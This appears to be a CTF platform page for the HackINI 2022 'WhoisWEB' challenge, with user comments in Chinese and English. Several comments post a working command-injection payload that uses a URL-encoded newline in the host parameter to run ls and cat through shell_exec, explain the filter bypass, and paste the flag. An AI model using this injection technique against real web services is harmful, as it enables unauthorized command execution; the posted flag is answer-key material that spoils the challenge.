WhoisWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一　　血: tzzzez
一血奖励: 0金币
解　　决: 1349
提　　示: There was a problem with the first version, this is the fixed version.
描　　述:
A web-based Whois service
...
登录回复
评论
Tao23 2年前
举报

query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0
to5ny 2年前
举报

/query.php?host=whois.verisign-grs.com%0a&query=ls /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1
xzs297995 2年前
举报

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

回复 2
xiaoxiao972521 2年前
举报

/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0
.⎛⎝•̀ω•́⎠⎞. 2年前
举报

1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕

回复 4
unknown237819 2年前
举报

在本题的正则匹配中，空格无法匹配$前的任何字符，所以%20是不可行的，if的条件都过不了；在whois.verisign-grs.com后加换行是可行的，不仅字符串本身可以过if，换行后相当于重新输命令，即query给出的参数直接执行命令

回复 2
868954104 2年前
举报

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065} /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1
vchopin 2年前
举报

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

回复 0
yituoshi 2年前
举报

Half the truth is often a big lie: thisistheflagwithrandomstuffthatyouwontguessJUSTCATSHE

回复 0
1959272171 2年前
举报

空格被过滤了 用%20绕过

回复 0

WriteUp

image
hopeinhand

1 金币

立即查看

评分(2)

解题动态

Jay. 攻破了该题 14小时前
gdrhdr 攻破了该题 1天前
LipengLee 攻破了该题 1天前
AITester 攻破了该题 1天前
阿呆T1 攻破了该题 1天前
灵梦归希 攻破了该题 2天前
dsdqh699 攻破了该题 3天前
zant 攻破了该题 3天前
cc.cou 攻破了该题 3天前
AWDAI 攻破了该题 4天前
ha1@! 攻破了该题 4天前
jibabenba 攻破了该题 4天前
sjjsyh 攻破了该题 5天前
YHS-Beyond 攻破了该题 5天前
1233333333 攻破了该题 5天前
jeremy明月 攻破了该题 7天前
wqqwqwcqw 攻破了该题 7天前
dyraxy 攻破了该题 9天前
huang666 攻破了该题 9天前
mechatengo 攻破了该题 9天前
问题反馈